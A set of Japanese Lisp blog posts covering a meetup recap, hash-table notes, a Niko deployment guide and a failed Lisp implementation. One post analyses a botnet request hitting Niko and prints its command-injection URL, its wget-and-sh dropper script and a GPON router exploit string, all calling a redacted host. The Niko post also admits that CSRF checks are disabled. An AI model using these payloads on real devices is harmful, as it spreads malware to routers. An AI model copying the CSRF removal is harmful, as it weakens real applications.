懇親会は阪急・六甲駅そばの中華のお店、六甲苑というところでした。神大出身の友人に話したら、神大の飲み会とかでもよく利用されるお店のようでした。そこで中華を頂きながら、ぼくは言語を作ろうとして低いところに下りていってるけどよくわからん、あとハードウェアよくわからんという話をしてました。そのときわかりやすくていいよと教えてもらったのがこの本です:
それにハードウェアやるならChiselというハードウェア設計言語も触ると楽しいよと教えていただきました。Chiselで書いてシミュレータ走らせるといいよ、と。
あとは法哲学や法学のことを聞いたり、LispとCGの発表をされていたympbycさんとGLSLをLispですごいですねとお話をしたり、いろいろなお話ができました。
おわりに
神戸大学のLispマシン、FAST LISPについての回ということで関西にお邪魔したのですが、それだけでなく、関西のLisperの方々に相手をしていただけたり、たのしいお話を聞けたりと、とても刺激になった関西Lispユーザ会でした。
また一年後くらい（かそれ以下か）、ぜひまた遊びに行こうと思いました。
そういえば最近Forthを実装して遊んでるのですが、
Forthがふしぎすぎてよくわからんという話をcxxxrさんにしたら、Let Over LambdaではForthを実装する箇所があってForth入門にいいですよ、と教えてもらいました。そういえば目次にForthあった気がしたなあ、読むか。
ハッシュテーブル考
このごろ、ハッシュテーブルの実装について考えていました。
それはひとつに「Common Lispでいつも使っているハッシュテーブルってどうなっているの？」という疑問があり、もうひとつには「オレオレLispを実装するときホスト言語によってはハッシュテーブルがないことがあり、自分で実装する必要がある」という思いがありました。
そこでハッシュテーブルってどのように実装されているのだろうということをちょっと調べてみた、というわけです。
そもそもハッシュテーブルとは
じつはここまでで言っていた「ハッシュテーブル」と、データ構造の本に載っている「ハッシュテーブル」は異なります。
前者の「ハッシュテーブル」は、キーとそれに対応する値を格納するための、最近の言語ではデフォルトで提供されているデータ構造です。こんなやつ:
>>> dic = {}
>>> dic
{}
>>> dic['test'] = 42
>>> dic
{'test': 42}
「連想配列」(Perl)、「ハッシュマップ（あるいはマップ）」(Java、JVM系言語)、「ディクショナリ」(Python)、などと呼ばれるものです。以降この記事ではPythonに倣ってディクショナリと呼ぶことにします。
後者の「ハッシュテーブル」は、格納可能な値の数が大きいが実際に格納される値の数はそれほど大きくない、というようなデータを効率的に格納するためのデータ構造です。データ構造とアルゴリズム、というような書籍や大学の講義で、見たことがある人もいると思います。以降この記事ではハッシュテーブルと呼ぶことにします。
前者のハッシュテーブルの実装に際して後者のハッシュテーブルを用いるため、どちらもハッシュテーブルと呼ばれるのですかね。
なので、冒頭で考えていた内容はこういうことになります:
ディクショナリってどうやって実装するんだろう？
まずは、その実装に必要な概念であるハッシュテーブルのことを思い出すことにします。
ハッシュテーブル
ハッシュテーブルは、格納可能な値の数が大きいが、実際に格納される値はそれほど多くないようなデータを格納するのに適したデータ構造です。格納対象の値をハッシュ値という整数値に変換し、事前に用意した配列のハッシュ値の位置に値を格納する、ということをします。これにより値の取り出しの計算量がO(1)と非常に効率がよいです。
このハッシュテーブルでは、ハッシュ値を計算するための関数「ハッシュ関数」をどのように選ぶかが、効率を左右します。異なる値のハッシュ値が同一になってしまった場合、重複をうまく処理する必要があるため、なるべくダブらず値の格納位置が配列内に均等にバラけるようなハッシュ関数を選ぶ必要があるのです。
単純な例として、整数を格納するハッシュテーブルを考えます。ハッシュ関数はテーブル長の剰余を取る関数を選びました。
#define TABLE_SIZE 256; static int table[TABLE_SIZE]; int hash(int v) { return v % TABLE_SIZE; }
このテーブルに値を格納するときは、こうします:
int main(void) { int value = 42; int hash_code = hash(value); table[hash_code] = value; return 0; }
値の取得は、こうです+
int main(void) { int value = 42; int hash_code = hash(value); printf("%d\n", table[hash_code]); return 0: }
ちなみにこの方法ではハッシュ値が同じ別の値があったときに、別の値で元の値が上書きされてしまいます（ハッシュ値が衝突する、といいます）。その対策は二つ（配列の要素をリストにする、すぐ隣に格納する）ありますがここでは詳しく書きません。こちらの本を参照してください。
みんなのデータ構造（紙書籍+電子書籍）www.lambdanote.com
ディクショナリだ！
上のハッシュテーブルの例はキーと値が同じなのでつまらない例でした。これを使ってディクショナリを実装するにはどうしたらよいでしょう。ハッシュ値の衝突時、同一ハッシュ値の異なる値を探索するため、値にはキーそのものが入っていなければなりません。いっぽうでディクショナリでは下記のように、キーに対して異なる値を格納するのが目的でした:
>>> dic = {}
>>> dic
{}
>>> dic['test'] = 42
>>> dic
{'test': 42}
どうすればよいのかわからなかったので（ここで数日悩んでしまったので）、Pythonのディクショナリの実装を覗き見てみました。
- https://github.com/python/cpython/blob/master/Include/dictobject.h
- https://github.com/python/cpython/blob/master/Objects/dict-common.h
値にハッシュ値とキー値を一緒に入れてしまいましょう、が答えでした。
したがって、最近開発を始めたばかりのC言語によるLisp実装のシンボル-値テーブルは、調査の結果このようになりました:
int hash(const char* name); typedef struct { int hash; WlSymbol* symbol; } WlSymTableEntry; typedef struct { WlSymTableKey** key_table; WlObject** values; int item_count; int not_null_count; int d; // hash_table.length = 2^d } WlSymTable;
https://github.com/t-sin/wl/blob/066e12919810d7c7aa31ce713d52690ec021a86b/wlsym.h より
余談
ところでPythonのディクショナリの実装、上でいうWlSymTableEntryにそのまま値を持つcombinedな形と、上のWlObject** valuesのように別で値を持つsplitedな形と二種あるようです。このドキュメントを見るとキャッシュヒット率が関係していそうな感じなのですが、英語力が低すぎてよくわからない…。
https://github.com/python/cpython/blob/master/Objects/dictnotes.txt
Nikoに届いていた謎のリクエストを分析する
Nikoに届いていた謎のリクエストを分析する
Nikoを社内で運用していたところ、以下のような謎のリクエストがログに残っていました（被害者かもしれないので、いちおう出てくるIPは隠しています）:
xx.xx.xx.xx - [24/Jul/2018:04:52:44 +00:00] "GET /login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/1.1" 404 683 "-" "-"
パッと見なんだか脆弱性を突こうとしているのですが、いったい何をしようとしているのでしょう。このリクエストの意図を想像することで、いろいろと得られることが多いと思うし、なによりなんだか楽しそう。
なので、ちょっと調べてみることにしました。
あやしいURL
まずはリクエストのURLを見てみましょう。
/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$
いくつかの文字はURLエンコードされていますが、wgetの後になぞのURLとか、/tmp/xdとか、shみたいな文字列があって、なんとなーくなにをさせたいか想像がつきそう。それにしてもlogin.cgiにcli=...でコマンドを与えられるシステムとは一体……。とりあえずASCIIコード表と照らし合わせると'とか半角空白とかがでてきますが、こいつを一気にデコードしてしまうと、こんなふうになります:
$ echo '/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$' | sed -E -e 's/^.+cli=(.+)/\1/g' | tr % = | nkf -mQ aa[ESC]aa';wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd'$
でました！ aa[ESC]aaの後にシングルクオートに挟まれた;wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xdがあり、最後に$で終わっています。このaa[ESC]aaと$はちょっとよくわからないですが、wgetしてなにかを取得して/tmp/xdに保存し、それを実行しているのがわかります。
あやしいスクリプト
では、このdlinkとはなんなのか。実際に取得してみましょう。
$ curl -v http://yy.yy.yy.yy/dlink
* Trying yy.yy.yy.yy...
* TCP_NODELAY set
* Connected to yy.yy.yy.yy (yy.yy.yy.yy) port 80 (#0)
> GET /dlink HTTP/1.1
> Host: yy.yy.yy.yy
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 23 Jul 2018 23:10:36 GMT
< Server: Apache/2.4.10 (Debian)
< Last-Modified: Mon, 23 Jul 2018 23:10:36 GMT
< ETag: W/"10e-571b41599b480"
< Accept-Ranges: bytes
< Content-Length: 270
<
#!/bin/sh
n="mips.gemini mpsl.gemini arm7.gemini"
http_server="yy.yy.yy.yy"
for a in $n
do
cd /tmp
busybox wget http://$http_server/sister/$a -O -> /tmp/$a
busybox chmod 777 /tmp/$a
/tmp/$a selfrep.dlink
done
for a in $n
do
rm -rf /tmp/$a
* Connection #0 to host yy.yy.yy.yy left intact
done
中身はシェルスクリプトでした。なんか、MIPSとかARM7とか見えますね。バイナリでしょうか。取得したバイナリファイルにselfrep.dlinkと引数を与えると、自己複製して撒き散らしそうな感じです。
ちなみに上のサーバから、いまはdlinkというファイルは消えています。感づかれたのかな。でもなぜか/にアクセスしたらApacheのディレクトリ内ブラウズができる状態だったので、/sister/以下のファイルはすべて取得してみました。x86.geminiとかあって、こわい。
sister$ ls -l 合計 800 -rw-r--r-- 1 grey grey 47356 7月 24 12:13 arm.b.gemini -rw-r--r-- 1 grey grey 55764 7月 24 12:13 arm.gemini -rw-r--r-- 1 grey grey 47388 7月 24 12:13 arm5.b.gemini -rw-r--r-- 1 grey grey 46896 7月 24 12:13 arm5.gemini -rw-r--r-- 1 grey grey 118319 7月 24 12:13 arm7.b.gemini -rw-r--r-- 1 grey grey 129065 7月 24 12:13 arm7.gemini -rw-r--r-- 1 grey grey 43188 7月 24 12:13 bin.gemini -rw-r--r-- 1 grey grey 59364 7月 24 12:13 mips.b.gemini -rw-r--r-- 1 grey grey 71824 7月 24 12:13 mips.gemini -rw-r--r-- 1 grey grey 60804 7月 24 12:13 mpsl.b.gemini -rw-r--r-- 1 grey grey 72864 7月 24 12:13 mpsl.gemini -rw-r--r-- 1 grey grey 47792 7月 24 12:13 x86.gemini
あやしいELF
ここからは、『Binary Hacks』を片手に、お勉強しながらやっていきます。
まず、とりあえずreadelfでバイナリフィアルのヘッダを見てみました。
$ echo * | xargs readelf -h | egrep '(ファイル:|セクションヘッダサイズ)' ファイル: arm.b.gemini セクションヘッダサイズ: 10 ファイル: arm.gemini セクションヘッダサイズ: 10 ファイル: arm5.b.gemini セクションヘッダサイズ: 10 ファイル: arm5.gemini セクションヘッダサイズ: 18 ファイル: arm7.b.gemini セクションヘッダサイズ: 29 ファイル: arm7.gemini セクションヘッダサイズ: 29 ファイル: bin.gemini セクションヘッダサイズ: 13 ファイル: mips.b.gemini セクションヘッダサイズ: 13 ファイル: mips.gemini セクションヘッダサイズ: 13 ファイル: mpsl.b.gemini セクションヘッダサイズ: 13 ファイル: mpsl.gemini セクションヘッダサイズ: 13 ファイル: x86.gemini セクションヘッダサイズ: 10
なんとなくarmに力点が置かれており、とくにarm7かそうでないかでコードの複雑さが違うっぽいような気がします。
あやしいarm7.gemini
arm7を感染させることが大事っぽいので、ここではarm7.geminiを解析対象とします。
とりあえずまずは、stringsで文字列を見てみましょうか。
$ strings arm7.gemini | head JR** gfff@ @ #! !1C " POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Gemini/2.0 Accept: */* Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://yy.yy.yy.yy/gpon+-O+/tmp/difv;sh+/tmp/difv`&ipv=0
おおー。なんだかHTTPのリクエストっぽい文字列がでてきました。GPONというのはルータの機種だか規格だかなのだ、と同僚が言っていた気がします。そのへんまったくわからないので「おおー」と声を上げるほかありませんでした。ルータに感染して、なにかさせるのを目的にするプログラムなのでしょうかね。
つぎに、シンボルテーブルをファイルに書き出して、ディスアセンブルした結果も書き出して、眺めてみることにします:
$ arm-none-eabi-nm arm7.gemini > arm7.gemini.sym $ arm-none-eabi-objdump arm7.gemini -d > arm7.gemini.das
arm7.gemini.dasを覗くと、以下のようなかんじです（長いので、下に載せます）。
なんだか<attack_*>とかラベルが見え、それっぽいですね。ちなみに、これは昼間に同僚が教えてくれたのですが、greというのはVPSみたいなことをするときに経路を意識させないようにするためのプロトコルらしいです。
下のほうにいくと<main>があって（エントリポイントですかね！）、さらにいくと<memcpy>とか<malloc>とか見えてきます。きっと、環境のshared objectに依存しないように、静的リンクされているのでしょうか。fopenやprctlがあることから、ファイルシステムやプロセスに対する操作も行っていそうです。<anti_gdb_entry>とかあるので、GDBでのデバッグを困難にするような仕掛けも施されている、のか？
$ cat arm7.gemini.das | egrep '<.+>:' 000080d4 <_init>: 000080f0 <__do_global_dtors_aux>: 00008134 <frame_dummy>: 00008194 <_start>: 000081d0 <attack_get_opt_str>: 0000822c <attack_get_opt_ip>: 00008298 <attack_get_opt_int>: 00008308 <attack_parse>: 000085a0 <attack_init>: 000089cc <attack_gre_eth>: 00009094 <attack_gre_ip>: 000096f4 <attack_tcp_xmas>: 00009dcc <attack_tcp_frag>: 0000a4a4 <attack_tcp_syn>: 0000ab7c <attack_tcp_stomp>: 0000b3a8 <attack_tcp_ack>: 0000bacc <attack_icmp_basic>: 0000bd8c <attack_udp_plain>: 0000c04c <attack_udp_frag>: 0000c618 <attack_udp_generic>: 0000cbe4 <attack_udp_vse>: 0000d050 <attack_udp_dns>: 0000d734 <checksum_generic>: 0000d784 <checksum_tcpudp>: 0000d828 <dlinkscanner_scanner_kill>: 0000d850 <gponscanner_scanner_kill>: 0000d878 <gponscanner_setup_connection>: 0000d94c <gponscanner_scanner_init>: 0000e40c <huaweiscanner_scanner_kill>: 0000e434 <killer_kill>: 0000e45c <mkiller_kill>: 0000e484 <killer_kill_by_port>: 0000ea00 <mini_killer>: 0000ea7c <killer_init>: 0000f638 <anti_gdb_entry>: 0000f650 <ensure_single_instance>: 0000f7b4 <resolve_cnc_addr>: 0000f820 <ioctl_keepalive>: 0000f970 <rand_exploit>: 0000f998 <main>: 00010120 <rand_next>: 0001017c <rand_init>: 000101e4 <rand_alpha_str>: 000102b4 <resolv_entries_free>: 000102dc <resolv_lookup>: 000107e4 <table_retrieve_val>: 00010808 <table_lock_val>: 000108a8 <table_unlock_val>: 00010948 <table_init>: 00011000 <util_strlen>: 00011028 <util_strcpy>: 00011070 <util_memcpy>: 00011094 <util_zero>: 000110b8 <util_atoi>: 000111f4 <util_fdgets>: 00011250 <util_local_addr>: 000112e4 <util_stristr>: 00011374 <util_itoa>: 00011470 <__aeabi_uidiv>: 0001156c <__aeabi_uidivmod>: 00011584 <__div0>: 00011598 <__GI___fcntl_nocancel>: 00011630 <__GI___libc_fcntl>: 00011724 <getppid>: 00011738 <__GI_ioctl>: 00011818 <__GI_kill>: 00011850 <prctl>: 00011894 <__GI_readlink>: 000118d4 <__syscall_select>: 00011918 <__libc_select>: 0001199c <__GI_setsid>: 000119dc <__GI_sigprocmask>: 00011a68 <__GI_time>: 00011a98 <__GI_closedir>: 00011ba8 <fd_to_DIR>: 00011c78 <__GI_opendir>: 00011d3c <fdopendir>: 00011dec <__GI_readdir>: 00011ed4 <__GI___errno_location>: 00011ef4 <clock>: 00011f30 <__GI_memmove>: 00011f40 <__GI_memset>: 00011fe0 <__GI_strcpy>: 00012004 <__GI_inet_addr>: 0001202c <__sys_accept>: 00012070 <__libc_accept>: 000120e4 <__GI_bind>: 00012128 <__sys_connect>: 0001216c <__libc_connect>: 000121e0 <__GI_getsockname>: 00012224 <getsockopt>: 0001226c <__GI_listen>: 000122ac <__sys_recv>: 000122f0 <__libc_recv>: 00012360 <__sys_recvfrom>: 000123a8 <__libc_recvfrom>: 00012430 <__sys_send>: 00012474 <__libc_send>: 000124e4 <__sys_sendto>: 00012530 <__libc_sendto>: 000125b8 <__GI_setsockopt>: 00012600 <__GI_socket>: 00012644 <__GI_sigaddset>: 00012694 <__GI_sigemptyset>: 000126a8 <__GI_signal>: 0001276c <__GI___sigismember>: 00012790 <__GI___sigaddset>: 000127b4 <__GI___sigdelset>: 000127d8 <__malloc_largebin_index>: 00012850 <malloc>: 00013188 <calloc>: 000132c8 <realloc>: 00013688 <__malloc_trim>: 00013738 <__malloc_consolidate>: 000138ec <free>: 00013b28 <malloc_trim>: 00013b68 <__GI_abort>: 00013c90 <rand>: 00013ca8 <__GI_random>: 00013d4c <setstate>: 00013e04 <initstate>: 00013ec4 <srd>: 00013f68 <__GI_random_r>: 00013ff8 <__GI_srandom_r>: 000140d0 <__GI_initstate_r>: 000141c8 <__GI_setstate_r>: 000142b4 <__GI_exit>: 00014378 <nprocessors_onln>: 000144c4 <__GI_sysconf>: 00014ae8 <__libc_fork>: 00014eb4 <__lll_lock_wait_private>: 00014f4c <__getpid>: 00014f94 <__GI_raise>: 00015084 <__GI_sleep>: 000151b4 <__GI___close_nocancel>: 000151d0 <__GI___libc_close>: 00015244 <__GI___open_nocancel>: 00015260 <__GI___libc_open>: 000152d4 <__GI___read_nocancel>: 000152f0 <__GI___libc_read>: 00015360 <__libc_disable_asynccancel>: 000153e8 <__libc_enable_asynccancel>: 000154c4 <__pthread_mutex_lock>: 000154cc <__pthread_mutex_init>: 000154d4 <_pthread_cleanup_push_defer>: 000154dc <_pthread_cleanup_pop_restore>: 00015508 <__GI___uClibc_fini>: 00015584 <__check_one_fd>: 000155d8 <__GI___uClibc_init>: 00015630 <__uClibc_main>: 00015a1c <__GI_mmap>: 00015a98 <__syscall_error>: 00015ac4 <__libc_sigaction>: 00015b4c <_setjmp>: 00015b58 <__default_sa_restorer>: 00015b64 <__default_rt_sa_restorer>: 00015b70 <__aeabi_read_tp>: ...以下省略
どうもこのプログラムはルータを対象にし、なにかをする（させる）プログラムのようです。
うーん。アセンブラが読めないのと、定数データがわからないので、これ以上はわからない！ くやしい！ 『熱血! アセンブラ入門』を読んで勉強しないと……。
今日はここまでにします。
Niko --- GitHub上のメンションをSlackでお知らせ
Niko
NikoというGitHub上のメンションをSlackで教えてくれるソフトウェアをつくりました。
もちろんCommon Lisp製です😎
NikoはGitHubのWebhookとして動作し、GitHub上のissueやプルリクエストの本文や、それらに対するコメントやレビューの中のメンション（@usernameの文字列）を検出して、Slackで通知してくれます。GitHubとSlackそれぞれのユーザ名は、事前に管理画面より登録しておく必要があります。
Webアプリケーションとしてはかなり小さい（3画面+1APIパス）ものですが、ちょっとだけ特徴があって、それは、深町さんがつくっているフルスタックWebアプリケーションフレームワークUtopianを利用していることです。
使ってるという話を（深町さん以外では）耳にしないので、もしかしたら使っているプロジェクトの10番台くらいはいけているかも…？
Nikoの導入から起動まで
このソフトウェアは会社で絶賛稼動中で、個人的にはとっても重宝しています。ここでは、Nikoのデプロイ方法を記します。
Nikoをサーバにデプロイする場合、NikoとUtopianはQuicklispでは公開されていないので、Common Lispの処理系マネージャRoswellでインストールするか、GitHubからクローンしてくる必要があります。Roswellスクリプトを利用する作業もあるUtopianはRoswell経由で、そうではなく純粋に起動するのみのNikoはGitHubよりクローンして、手元に導入します。
まずは、Utopianの導入から。
$ ros install qlot # 依存ライブラリのバージョン固定 $ ros install lake # タスクランナー $ ros install clack # Webアプリケーション環境 $ ros install fukamachi/utopian
Nikoのほうは、GitHubからクローンして好きなディレクトリに置きます。
$ cd /path/to/dir $ git clone https://github.com/t-sin/niko $ cd niko
UtopianはPythonでいうところのvenv環境のように、qlotで切り離された環境を前提とします。まずはその環境を初期化して、依存ライブラリをインストールします。
$ qlot install
これで準備完了です。起動しましょう。
$ export GITHUB_TOKEN=xxxxxxxx $ export SLACK_TOKEN=yyyyyyyy $ export SLACK_CHANNEL=niko-channel $ qlot exec clackup app.lisp
起動すると、デフォルトではポート5000番で起動します。http://localhost:5000/にアクセスして、こんな画面が表示されたら成功です。
Nikoの使い方
Nikoはユーザ情報管理用の管理画面とWebhook用のAPIからなります。管理画面はトップ画面（上の画像）以外に、
- ユーザ追加画面
/users/add - ユーザ一覧画面
/users/lists
があります。読んで字の如くなんですが、GitHubユーザとSlackユーザのマッピングを追加する画面と、一覧を表示する画面です。ちなみに、削除画面はまだないんですが、まあすぐに追加できると思うので、あとで付けます。
あとは、NikoをGitHubの好きなリポジトリや組織のwebhookに設定するだけです。したがって、外部からアクセスできる必要があるので、ngrok等を利用して、起動したNikoを公開しましょう。
Webhookとして動作するAPIのパスは/api/github/webhookです。
あまり真似してほしくない部分
Utopianを使ったソフトウェアであるところのNikoなんですが、セキュリティ上ちょっとよくないことをしているので、真似しないでほしいなーという部分があります。
UtopianはRuby on Railsのような、画面がパスに対応するようなアプリケーションの作成を意図してつくられています。Nikoはひとつのプログラムで管理画面としても、GitHubのWebhookとしても動くようにつくりました。そのため、Utopianが標準で行っているクロスサイトリクエストフォージェリ対策のセッション値チェックをNikoでは外しています。
# niko/app.lisp (builder (:static :path "/public/" :root (project-path #P"public/")) :accesslog (unless (productionp) :clack-errors) (when (config :error-log) `(:backtrace :output ,(config :error-log))) :session - :csrf *app*)
おそらくこういう場合は画面をUtopianアプリとして、webhookはningleアプリとして、同時に起動するようにするのがいいかと思います。
それと、はじめてデプロイするとき、herokuのpostgresを利用して運用しようとしたのですが、cl-postgresがherokuの自己証明書による接続を許可しない（CL+SSLの証明書検査無視オプションを公開してない、気がした）ことでDB接続ができませんでした。早く運用したかったのでその場ではとりあえず諦め、AWS EC2に置いてsqlite3でDBをつくる運用としました。
ちょっとカッコわるいのでこの2点は真似しないでください。
ところで、Utopianはまだ開発中ということもありあまりドキュメント化されていません。DBIやORMやテンプレートエンジンなど、複数のライブラリが組み合わさっているので、ソースコードを参照しながら動きを理解しました。
Utopianを覚えようとして挫折した方を見ているので、ソースコードを読みながら得たことを記事にしてみると、いいかもしれないですね。
木の実を埋めなかったので拾われないLisp
TL; DR
Lispをつくろうとして失敗しました。ちーん。
どんなものをつくろうとしたか
Common Lispのすごく小さなサブセットをつくろうとしました。それをつくることで、普段使って理解した気になっているCommon Lispのパッケージやリードテーブル、ひいては実行モデル等を理解するのが目的でした。
機能としてはなんとなく、以下のようなことを妄想していました:
- Lisp-2
- CLOSなし
- コンディションなし
- loopなし
- 文字列あり(Unicode文字列)
- リストあり
- 関数よびだしあり
- パッケージあり
- リードテーブルつきのreadあり
- したがって簡単なリーダマクロ
- レキシカル環境あり
- eval
- マクロ展開
実際にはどんな産物ができたか
これです。
機能的には
- Lisp-2
- 組込み関数あり
- ユーザ定義関数はなし
- リードテーブルなしのread
- 関数をちゃんと作れなかったので
- パッケージあり（切り替えられないけど）
- いちおう簡易printがある
- 環境の構造がちょっとおかしい？
- REPLがある
関数呼び出しが実装できない気がして気が遠くなってきたので、いったん一区切りつけることにしました。
敗因はなんだったのか
環境（グローバル／レキシカル）やパッケージ、そしてシンボルのスロットについての理解が誤っていたことが原因でした。データ構造の設計に誤りがあるのです。
nutslispではパッケージと環境はそれぞれ以下のように定義されています。
type LispPackage* = ref object of LispT name*: string nicknames*: seq[string] environment*: LispEnvironment LispEnvironment* = ref object of LispT parent*: LispEnvironment binding*: TableRef[LispObjectId, LispSymbol]
「パッケージがグローバル（トップレベル）環境である」「パッケージはシンボルのテーブルをもつ」という認識と、「環境はその親環境を持ちうる（レキシカル環境の一つ外の環境）」「シンボルのvalueスロットに値を持つ（これは環境においてもそうするものだ）」という認識で、この構造にしました。ちなみに、Nimの言語上の制約から、自前定義した型（クラス）をテーブル（Nimにおけるハッシュテーブル）のキーにすることができません。そういった事情もあり、パッケージが保持するシンボルテーブルも兼ねて、bindingがLispObjectのIDからシンボルへのテーブルになっています。
でも、これでは（レキシカル）環境のシンボルに束縛した値を得るときどうするのでしょう。シンボルのスロットには、パッケージのトップレベルの値が入っているはずです（たとえば(setf hoge "mojiretsu")としたときの値）。シンボルをレキシカルな環境の値や関数保持用の構造として利用すると、トップレベルの値が上書きされて消えてしまいます。
さあさあ、てえへんだ。
おわりに
正しくはどうあるべきか、ひいては環境やパッケージやシンボルとは何であるのか、についてはまだ不明です。Hyperspec読書大会を引き続きひとり開催してなんとか理解を深めたいところです。
おそらくありがちなところで盛大に転んでしまったというところなんでしょう。目標の、リードテーブルや関数の実行モデルやあれやこれやの理解を深めること、はまだまだ先が長そうですね。
